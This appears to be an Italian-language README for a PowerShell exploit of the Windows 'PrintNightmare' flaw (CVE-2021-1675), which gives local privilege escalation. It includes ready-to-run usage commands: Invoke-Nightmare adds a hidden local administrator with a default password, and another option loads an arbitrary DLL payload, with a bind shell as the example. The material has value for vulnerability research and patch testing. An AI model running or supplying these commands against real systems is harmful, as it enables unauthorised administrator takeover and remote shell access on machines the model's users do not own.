
Caleb Stewart | John Hammond | 1 luglio 2021
CVE-2021-1675 è una vulnerabilità critica di esecuzione remota di codice e di escalation dei privilegi locali, soprannominata "PrintNightmare".
Sono stati rilasciati proof-of-concept (Python, C++) per la capacità di esecuzione remota di codice e una versione in C# per l'escalation dei privilegi locali. Non avevamo visto un'implementazione nativa in puro PowerShell e abbiamo voluto cimentarci nel raffinare e ricreare l'exploit.
Questo script PowerShell esegue l'escalation dei privilegi locali (LPE) con la tecnica di attacco PrintNightmare.

È stato testato su Windows Server 2016 e Windows Server 2019.
Aggiunge un nuovo utente al gruppo degli amministratori locali per impostazione predefinita:
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
Fornisci un payload DLL personalizzato per fare qualsiasi altra cosa desideri.
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"